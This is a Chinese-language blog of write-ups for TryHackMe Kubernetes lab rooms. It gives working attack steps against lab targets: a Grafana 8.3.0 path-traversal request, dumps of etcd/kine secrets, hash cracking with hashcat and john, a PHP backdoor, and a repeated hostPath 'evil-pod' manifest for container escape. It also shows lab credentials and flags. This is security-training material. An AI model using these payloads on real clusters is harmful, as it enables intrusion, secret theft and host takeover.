之前西湖论剑线下遇到了一次 k8s, 因为当时完全没接触过所以吃了个亏 (
正好最近有点时间就借着 k8s 入坑了云原生安全, 顺带在 TryHackMe 上找了一些靶机练练手
Kubernetes for Everyone
中途重启了好几次机器, 还以为被我打崩了
后来发现 k8s api server 请求没几次自己就会卡退出来, 所以基本上不能用 kubectl 来操作了 (也可能是我没充钱的原因)
fscan
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10.10.88.240:22 open
10.10.88.240:111 open
10.10.88.240:3000 open
10.10.88.240:5000 open
10.10.88.240:6443 open
[*] WebTitle: http://10.10.88.240:3000 code:302 len:29 title:None 跳转url: http://10.10.88.240:3000/login
[*] WebTitle: http://10.10.88.240:5000 code:200 len:887 title:Etch a Sketch
[*] WebTitle: http://10.10.88.240:6443 code:400 len:48 title:None
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3000 端口 Grafana
8.3.0 任意文件读取
题目让你找账号密码
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GET /public/plugins/text/#/../../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.10.88.240:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: redirect_to=%2Fetc%2Fpasswd
Connection: close
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我也不知道为啥要写在这里面
5000 端口, 全静态
http://10.10.144.223:5000/static/css/main.css
css 注释
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/* @import url("https://pastebin.com/cPs69B0y"); */
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OZQWO4TBNZ2A==== base32 解密后是 vagrant
然后通过 vagrant:hereiamatctf907 连进 ssh
ps aux
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USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 2.9 0.3 225268 1540 ? Ss 05:58 0:24 /sbin/init
root 2 0.0 0.0 0 0 ? S 05:58 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 05:58 0:00 [kworker/0:0H]
root 5 0.0 0.0 0 0 ? R 05:58 0:00 [kworker/u30:0]
root 6 0.0 0.0 0 0 ? I< 05:58 0:00 [mm_percpu_wq]
root 7 0.1 0.0 0 0 ? S 05:58 0:01 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 05:58 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 05:58 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 05:58 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 05:58 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:58 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 05:58 0:00 [kdevtmpfs]
root 14 0.0 0.0 0 0 ? I< 05:58 0:00 [netns]
root 15 0.0 0.0 0 0 ? S 05:58 0:00 [rcu_tasks_kthre]
root 16 0.0 0.0 0 0 ? S 05:58 0:00 [kauditd]
root 17 0.0 0.0 0 0 ? S 05:58 0:00 [xenbus]
root 18 0.0 0.0 0 0 ? S 05:58 0:00 [xenwatch]
root 20 0.0 0.0 0 0 ? S 05:58 0:00 [khungtaskd]
root 21 0.0 0.0 0 0 ? S 05:58 0:00 [oom_reaper]
root 22 0.0 0.0 0 0 ? I< 05:58 0:00 [writeback]
root 23 0.0 0.0 0 0 ? S 05:58 0:00 [kcompactd0]
root 24 0.0 0.0 0 0 ? SN 05:58 0:00 [ksmd]
root 25 0.0 0.0 0 0 ? I< 05:58 0:00 [crypto]
root 26 0.0 0.0 0 0 ? I< 05:58 0:00 [kintegrityd]
root 27 0.0 0.0 0 0 ? I< 05:58 0:00 [kblockd]
root 28 0.0 0.0 0 0 ? I< 05:58 0:00 [ata_sff]
root 29 0.0 0.0 0 0 ? I< 05:58 0:00 [md]
root 30 0.0 0.0 0 0 ? I< 05:58 0:00 [edac-poller]
root 31 0.0 0.0 0 0 ? I< 05:58 0:00 [devfreq_wq]
root 32 0.0 0.0 0 0 ? I< 05:58 0:00 [watchdogd]
root 33 0.0 0.0 0 0 ? I 05:58 0:00 [kworker/u30:1]
root 35 6.3 0.0 0 0 ? R 05:58 0:51 [kswapd0]
root 36 0.0 0.0 0 0 ? I< 05:58 0:00 [kworker/u31:0]
root 37 0.0 0.0 0 0 ? S 05:58 0:00 [ecryptfs-kthrea]
root 79 0.0 0.0 0 0 ? I< 05:58 0:00 [kthrotld]
root 80 0.0 0.0 0 0 ? I< 05:58 0:00 [acpi_thermal_pm]
root 81 0.0 0.0 0 0 ? S 05:58 0:00 [scsi_eh_0]
root 82 0.0 0.0 0 0 ? I< 05:58 0:00 [scsi_tmf_0]
root 83 0.0 0.0 0 0 ? S 05:58 0:00 [scsi_eh_1]
root 84 0.0 0.0 0 0 ? I< 05:58 0:00 [scsi_tmf_1]
root 85 0.0 0.0 0 0 ? I 05:58 0:00 [kworker/u30:2]
root 90 0.0 0.0 0 0 ? I< 05:58 0:00 [ipv6_addrconf]
root 92 0.2 0.0 0 0 ? I< 05:58 0:02 [kworker/0:1H]
root 98 0.1 0.0 0 0 ? I 05:58 0:01 [kworker/0:2]
root 101 0.0 0.0 0 0 ? I< 05:58 0:00 [kstrp]
root 118 0.0 0.0 0 0 ? I< 05:58 0:00 [charger_manager]
root 179 0.0 0.0 0 0 ? I< 05:58 0:00 [ttm_swap]
root 269 0.0 0.0 0 0 ? I< 05:58 0:00 [raid5wq]
root 291 0.0 0.0 0 0 ? I< 05:58 0:00 [kdmflush]
root 292 0.0 0.0 0 0 ? I< 05:58 0:00 [bioset]
root 301 0.0 0.0 0 0 ? I< 05:58 0:00 [kdmflush]
root 302 0.0 0.0 0 0 ? I< 05:58 0:00 [bioset]
root 349 0.0 0.0 0 0 ? S 05:58 0:00 [jbd2/dm-0-8]
root 350 0.0 0.0 0 0 ? I< 05:58 0:00 [ext4-rsv-conver]
root 408 0.8 0.5 127640 2576 ? D<s 05:59 0:06 /lib/systemd/systemd-journald
root 415 0.0 0.0 0 0 ? I< 05:59 0:00 [iscsi_eh]
root 418 0.0 0.0 0 0 ? I< 05:59 0:00 [rpciod]
root 419 0.0 0.0 0 0 ? I< 05:59 0:00 [xprtiod]
root 420 0.0 0.0 105904 36 ? Ss 05:59 0:00 /sbin/lvmetad -f
root 421 0.0 0.0 0 0 ? I< 05:59 0:00 [ib-comp-wq]
root 422 0.0 0.0 0 0 ? I< 05:59 0:00 [ib_mcast]
root 424 0.0 0.0 0 0 ? I< 05:59 0:00 [ib_nl_sa_wq]
root 425 0.8 0.1 46244 668 ? Ss 05:59 0:06 /lib/systemd/systemd-udevd
root 426 0.0 0.0 0 0 ? I< 05:59 0:00 [rdma_cm]
systemd+ 474 0.0 0.0 80044 424 ? Ss 05:59 0:00 /lib/systemd/systemd-networkd
systemd+ 500 0.0 0.1 70628 828 ? Ss 05:59 0:00 /lib/systemd/systemd-resolved
root 501 0.0 0.1 47600 520 ? Ss 05:59 0:00 /sbin/rpcbind -f -w
root 617 0.0 0.1 31320 716 ? Ss 05:59 0:00 /usr/sbin/cron -f
syslog 621 0.1 0.0 267272 320 ? Ssl 05:59 0:01 /usr/sbin/rsyslogd -n
root 624 0.0 0.1 287536 676 ? Ssl 05:59 0:00 /usr/lib/accountsservice/accounts-daemon
root 627 0.0 0.5 1232044 2524 ? Ssl 05:59 0:00 /usr/bin/amazon-ssm-agent
root 630 0.2 0.2 170440 1000 ? Ssl 05:59 0:01 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 636 0.0 0.2 70604 1436 ? Ss 05:59 0:00 /lib/systemd/systemd-logind
root 637 0.0 0.0 161076 116 ? Ssl 05:59 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
daemon 645 0.0 0.0 28332 324 ? Ss 05:59 0:00 /usr/sbin/atd -f
message+ 646 0.1 0.1 50060 572 ? Ss 05:59 0:01 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-
root 673 0.3 1.3 1277280 6596 ? Ssl 05:59 0:02 /usr/bin/containerd
root 674 0.0 0.0 72296 76 ? Ss 05:59 0:00 /usr/sbin/sshd -D
root 691 0.0 0.1 15956 520 ttyS0 Ss+ 05:59 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root 693 0.0 0.0 16180 212 tty1 Ss+ 05:59 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 698 0.0 0.2 291452 1052 ? Ssl 05:59 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 717 0.4 1.5 1244236 7572 ? Sl 05:59 0:03 /usr/bin/ssm-agent-worker
root 759 0.7 2.7 1447128 13744 ? Ssl 05:59 0:05 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 999 0.0 0.0 1005440 12 ? Sl 06:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.17.0.2 -containe
root 1004 0.0 0.0 1005440 16 ? Sl 06:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 5000 -container-ip 172.17.0.2 -container-por
root 1020 0.0 0.0 1005440 0 ? Sl 06:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.3 -containe
root 1024 0.0 0.0 1005440 0 ? Sl 06:00 0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.3 -container-por
root 1081 0.1 0.3 711444 1816 ? Sl 06:00 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 54c2fca370f68b4fdb5d163e8835286c19c7515bb6afad2
root 1084 0.2 0.3 712852 1852 ? Sl 06:00 0:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e7c06a854957fdc4f49e721a5e295c7acd2f89f218d214e
vagrant 1143 3.0 0.1 28532 620 pts/0 Ss+ 06:00 0:21 python3 main.py
472 1148 2.1 2.6 786468 13036 pts/0 Ssl+ 06:00 0:15 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cf
vagrant 1395 25.5 1.0 30028 4972 pts/0 Sl+ 06:02 2:31 /usr/local/bin/python3 /home/pyuser/main.py
kube-ap+ 1404 2.0 1.7 725136 8652 ? Sl 06:02 0:11 /var/lib/k0s/bin/kine --endpoint=sqlite:///var/lib/k0s/db/state.db?more=rwc&_journal=WAL&cache=share
root 1445 0.0 0.0 0 0 ? I 06:04 0:00 [kworker/0:1]
root 1475 0.0 0.2 105684 1304 ? Ss 06:06 0:00 sshd: vagrant [priv]
vagrant 1478 0.1 0.3 76776 1508 ? Ss 06:07 0:00 /lib/systemd/systemd --user
vagrant 1479 0.0 0.0 259252 212 ? S 06:07 0:00 (sd-pam)
vagrant 1548 0.1 0.1 107984 880 ? D 06:07 0:00 sshd: vagrant@pts/0
vagrant 1549 0.0 0.3 21472 1692 pts/0 Ss 06:07 0:00 -bash
root 1568 20.4 4.3 785304 21448 ? Ssl 06:08 0:51 /usr/local/bin/k0s controller --single=true
root 1574 0.0 0.3 67844 1664 pts/0 S 06:08 0:00 sudo bash
root 1576 0.0 0.4 21596 2084 pts/0 S 06:08 0:00 bash
root 1586 0.0 0.2 105688 1412 ? Ss 06:08 0:00 sshd: vagrant [priv]
vagrant 1649 0.0 0.1 107988 940 ? S 06:09 0:00 sshd: vagrant@pts/1
vagrant 1650 0.0 0.3 21472 1684 pts/1 Ss+ 06:09 0:00 -bash
kube-ap+ 1661 5.9 4.5 727108 22108 ? Sl 06:09 0:10 /var/lib/k0s/bin/kine --endpoint=sqlite:///var/lib/k0s/db/state.db?more=rwc&_journal=WAL&cache=share
kube-ap+ 1666 45.3 47.7 985804 234256 ? Sl 06:09 1:19 /var/lib/k0s/bin/kube-apiserver --kubelet-certificate-authority=/var/lib/k0s/pki/ca.crt --requesthea
root 1672 0.1 0.4 105688 2080 ? Ss 06:09 0:00 sshd: vagrant [priv]
vagrant 1741 0.0 0.4 108128 2028 ? S 06:09 0:00 sshd: vagrant@notty
vagrant 1742 0.1 0.2 13060 1008 ? Ss 06:09 0:00 /usr/lib/openssh/sftp-server
root 1781 36.0 0.6 39664 3268 pts/0 R+ 06:12 0:00 ps aux
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k0s (k8s 轻量版), kine (etcd), 还有 docker
因为一用 kubectl 就会卡死, 所以采取了把 etcd 数据库拖到本地然后分析的方式 (etcd 在默认配置下里面的数据是没有加密的)
数据库路径为 /var/lib/k0s/db/state.db
根据提示去 secrets 里面找内容
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sqlite> select name,hex(value) from kine where name like '%/registry/secrets/default/%';
[{"name":"/registry/secrets/default/default-token-nhwb5","hex(value)":"6B3873000A0C0A02763112065365637265741289140ADD030A1364656661756C742D746F6B656E2D6E6877623512001A0764656661756C7422002A2461373463373535622D326463352D343032622D396261662D31353566376233626339636332003800420808D1BF9590061000622D0A226B756265726E657465732E696F2F736572766963652D6163636F756E742E6E616D65120764656661756C7462490A216B756265726E657465732E696F2F736572766963652D6163636F756E742E756964122431306434323731322D626337352D343966382D623233362D3364323162303430346638627A008A0187020A176B7562652D636F6E74726F6C6C65722D6D616E6167657212065570646174651A027631220808D1BF959006100032084669656C647356313AC9010AC6017B22663A64617461223A7B222E223A7B7D2C22663A63612E637274223A7B7D2C22663A6E616D657370616365223A7B7D2C22663A746F6B656E223A7B7D7D2C22663A6D65746164617461223A7B22663A616E6E6F746174696F6E73223A7B222E223A7B7D2C22663A6B756265726E657465732E696F2F736572766963652D6163636F756E742E6E616D65223A7B7D2C22663A6B756265726E657465732E696F2F736572766963652D6163636F756E742E756964223A7B7D7D7D2C22663A74797065223A7B7D7D420012DA080A0663612E63727412CF082D2D2D2D2D424547494E2043455254494649434154452D2D2D2D2D0A4D49494441444343416569674177494241674955634B6E6D6E4B67434F42356A2B354A587A4C6A323178762F665063774451594A4B6F5A496876634E4151454C0A42514177474445574D4251474131554541784D4E613356695A584A755A58526C6379316A59544165467730794D6A41794D5441784F4455774D4442614677307A0A4D6A41794D4467784F4455774D4442614D426778466A415542674E5642414D5444577431596D5679626D56305A584D7459324577676745694D413047435371470A53496233445145424151554141344942447741776767454B416F49424151437564677975376841413546456B445A49436B376773586E454178774E333436364F0A34337A745A2F56702F4952456272537357516D64384E4D6A577865654C316E4C6D5751414A474C396B30434A6C74586F6D6547564D38784B392F4B63516C65300A327A4A386C7A565767567077676F7139327263517857395067644345777951742F615152335477704B394E78346B7073334A46582B5772614C4F524C4D5A5A2B0A75692F6678507047792B536B53545849324A6379312F62374E43386847734D744134364C384C7A7436424451573353542F456E6B4F74674F6A2F4C32376463720A4E6737525869553861764D327739434B4A506E7A756F5934743757667459786D6658715646674168346B596F4E37327557646C53584E5671744A4A52764843760A36665A596D61492B6F796D6B546A2B2B415147486C634861674C4D5559796F4157556178714D3976744F474D54696C676331616A41674D424141476A516A42410A4D41344741315564447745422F77514541774942426A415042674E5648524D4241663845425441444151482F4D4230474131556444675157424252515A56725A0A784371555464304D4A6C756463476E482F714B4C4D44414E42676B71686B6947397730424151734641414F43415145416857534E746930312F31454864354B6C0A674359656C3269576F627A545756656C77334C71735838456E67544562696A503244546176456A475756734F3075596B764C7A7575376D4F66775832434C52750A663963785272647179346E484C71464A6451517032394C56617555786850714D7238317956314F5358533766745A4D62783064705A4A4B5A52757543316135450A784F653243576D4F3841326D563859716535797447344C73524A39656A796847784F6D5A36364C573070724F734E74616F6454427665664C585454656978356A0A496478646875636876327931546B6A674B367234667769392B396C6D51376730454430564432434C51636748507067705A624E753139355476456B74784D66760A39426D6F35704A575342394138334C593439543853654D325430753937757A46356F3767696C6C444678646F6C517734695146634B472B5353323977642F61520A71584F7968513D3D0A2D2D2D2D2D454E442043455254494649434154452D2D2D2D2D0A12140A096E616D657370616365120764656661756C74128E070A05746F6B656E12840765794A68624763694F694A53557A49314E694973496D74705A434936496A6C6F616E5A775A45683261317052546C5931546B317553486F33526E4A6E61457431616C453261324E434E476F774F57744E62306B745345306966512E65794A7063334D694F694A7264574A6C636D356C6447567A4C334E6C636E5A705932566859324E766457353049697769613356695A584A755A58526C637935706279397A5A584A3261574E6C59574E6A62335675644339755957316C63334268593255694F694A6B5A575A686457783049697769613356695A584A755A58526C637935706279397A5A584A3261574E6C59574E6A623356756443397A5A574E795A585175626D46745A534936496D526C5A6D463162485174644739725A573474626D6833596A55694C434A7264574A6C636D356C6447567A4C6D6C764C334E6C636E5A705932566859324E76645735304C334E6C636E5A705932557459574E6A62335675644335755957316C496A6F695A47566D5958567364434973496D7431596D5679626D56305A584D756157387663325679646D6C6A5A57466A59323931626E517663325679646D6C6A5A53316859324E76645735304C6E56705A434936496A45775A4451794E7A45794C574A6A4E7A55744E446C6D4F4331694D6A4D324C544E6B4D6A46694D4451774E47593459694973496E4E3159694936496E4E356333526C6254707A5A584A3261574E6C59574E6A623356756444706B5A575A68645778304F6D526C5A6D46316248516966512E6A5167366B2D4A4E364B77516277436C423748436F474642785579345A56314359627231357551376D36724F3065646A437446417A70756D6458504F32714F474B356F42484E6C6850527470364C49365464556C595A794D734E68667565635A6971414650766E6E517858447243672D534A5054365A424E45414D7136613949524C785F70706546534E636A554D47453335626E704361534633314E6C7A547A7377454448786B33727172572D575A6B564E687956797844613867756C696C66777A696B74556B6E626273377A777A334936766A53774C5F397065315F526B4C635241656A6172465F6A79557767566C65686442727A5A41447731353841714C72354936317A3062334F31455830353177766D554B714332574C7559314B5F6A717342336B61613967555977444B3457427979436E5770583853454F3469506C395042514E51794461676A556663464C574D53524D771A236B756265726E657465732E696F2F736572766963652D6163636F756E742D746F6B656E1A002200"},
{"name":"/registry/secrets/default/k8s.authentication","hex(value)":"6B3873000A0C0A027631120653656372657412E7010AB9010A126B38732E61757468656E7469636174696F6E12001A0764656661756C7422002A2434313665343738332D303361382D346639322D386539312D38636263343931626637323732003800420808BAC095900610007A008A015F0A0E6B75626563746C2D63726561746512065570646174651A027631220808BAC0959006100032084669656C647356313A2B0A297B22663A64617461223A7B222E223A7B7D2C22663A6964223A7B7D7D2C22663A74797065223A7B7D7D420012210A026964121B54484D7B7965735F74686572655F24735F6E6F5F2465637265747D1A064F70617175651A002200"}]
|
用 binascii.unhexlify() 转换
然后需要找到其它 pod
一般在 kube-system 里面的 pod 都是 k8s 自己的服务, 并且会有一段随机后缀, 但是这里的 kube-api 并没有随机后缀, 比较可疑
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sqlite> select hex(value) from kine where name like '%/registry/pods/kube-system/kube-api%';
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https://hub.docker.com/r/csaju/jokes
拉到本地分析一下
挨个 git show
最后需要找 interview 什么的
可以很容易发现一个名字叫 internship-job-5drbm 的 pod
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sqlite> select hex(value) from kine where name like '%/registry/pods/internship/internship-job-5drbm%';
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这个 pod 用的是 busybox 的镜像, 但是在创建容器的时候执行了 echo xxx 这一串指令
SHA1, 用 hashcat 跑一遍 rockyou
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$ hashcat -m 100 -a 0 26c3d1c068e7e01599c3612447410b5e56c779f1 rockyou.txt --show
26c3d1c068e7e01599c3612447410b5e56c779f1:chidori
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提交即可
Insekube
开放端口 22,80
80 端口命令注入反弹 shell
查看 env 拿到第一个 flag
因为是在容器里面, 所以需要自己上传 kubectl 才能与 api server 交互
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$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"
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查看当前账户拥有的权限
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./kubectl auth can-i --list
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查看 secrets 拿到第二个 flag
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./kubectl get secrets
./kubectl get secrets secretflag -o json
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另外环境变量泄露了 Grafana 地址, 版本为 8.3.0-beta2 (8d74cc357)
顺手 frp 起个代理然后用 exp 读取 serviceaccount token
查看该 serviceaccount 的权限
*.* 表示该用户属于 cluster-admin
然后切换到 grafana 的 pod, 查看 env 拿到第三个 flag
最后, 因为已经有 kubectl cluster-admin 的权限了, 相当于可以接管整个集群
所以可以部署一个挂载宿主机目录的恶意 pod 来实现逃逸
不过需要注意这里的靶机是不出网的, 只能使用本地已有的镜像
先通过 kubectl --token $TOKEN describe node xxx 查看当前两个 pod 所使用的镜像
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grafana/grafana-enterprise:8.3.0-beta2
syringe:latest
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随便选一个, 然后编写 yaml, 添加 imagePullPolicy: IfNotPresent 表示优先拉取本地镜像
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apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: syringe:latest
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /
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部署 pod
查看 root.txt 拿到第四个 flag
Frank and Herby try again…..
fscan 全端口
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10.10.96.95:22 open
10.10.96.95:10250 open
10.10.96.95:10259 open
10.10.96.95:10257 open
10.10.96.95:10255 open
10.10.96.95:16443 open
10.10.96.95:25000 open
10.10.96.95:30679 open
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http://10.10.96.95:30679/ php 内置的服务器
/info.php
8.1.0-dev 存在官方后门
http://10.10.96.95:10255/pods kubelet 未授权
不过只能查看 pod
用的竟然是 vulhub 的镜像 (
之后蚁剑连接后门, 上传 kubectl 部署 pod 一把梭
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apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: vulhub/php:8.1-backdoor
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /
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Frank & Herby make an app
rustscan
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Open 10.10.18.57:22
Open 10.10.18.57:3000
Open 10.10.18.57:10255
Open 10.10.18.57:10257
Open 10.10.18.57:10250
Open 10.10.18.57:10259
Open 10.10.18.57:16443
Open 10.10.18.57:25000
Open 10.10.18.57:31337
Open 10.10.18.57:32000
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http://10.10.18.57:10255/pods kubectl 未授权, 还是只能查看 pod
http://10.10.18.57:3000/ Rocket.Chat
http://10.10.18.57:31337/ bootstrap 网站, 目录扫描如下
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[12:34:35] Starting:
[12:34:44] 200 - 50B - /.git-credentials
[12:35:24] 403 - 555B - /assets/
[12:35:25] 301 - 169B - /assets -> http://10.10.18.57/assets/
[12:35:40] 301 - 169B - /css -> http://10.10.18.57/css/
[12:36:45] 403 - 555B - /vendor/
Task Completed
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.git-credentials内容为 http://frank:<REDACTED>@192.168.100.50
ssh 直接就连进去了
部署 pod 拿到 /root 目录下的 flag
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apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: localhost:32000/bsnginx
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /
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Island Orchestration
靶机有点问题, 大概思路就是 lfi 读 serviceaccount, 然后通过暴露出来的 8443 端口请求 api server 读 secret 拿到 flag
PalsForLife
rustscan
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Open 10.10.54.69:22
Open 10.10.54.69:6443
Open 10.10.54.69:10250
Open 10.10.54.69:30180
Open 10.10.54.69:31112
Open 10.10.54.69:31111
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31111 Gitea
30180 nginx, dirsearch 跑出来 /team 目录
右键源代码把 base64 保存下来转成 pdf, 然后用 john 跑一遍密码
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pdf2john uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt
john --show hash.txt
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Gitea 主页能看到用户列表
用 pdf 中的密码登陆账号, 发现一个私有仓库 leeroy/jenkins
仓库有一个配置好的 webhook, 其中的 secret 就是第一个 flag
然后利用 Gitea 的 Git Hook 执行命令
参考: https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
在 /root 目录下拿到第二个 flag
上传 kubectl 查看权限
第三个 flag 藏在 kube-system 命令空间的 secrets 里面
部署 pod, 查看 /host/root 目录拿到第四个 flag
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apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: nginx
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /
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Jumpbox
靶机又打不开了…
看 writeup 感觉思路其实跟之前的差不多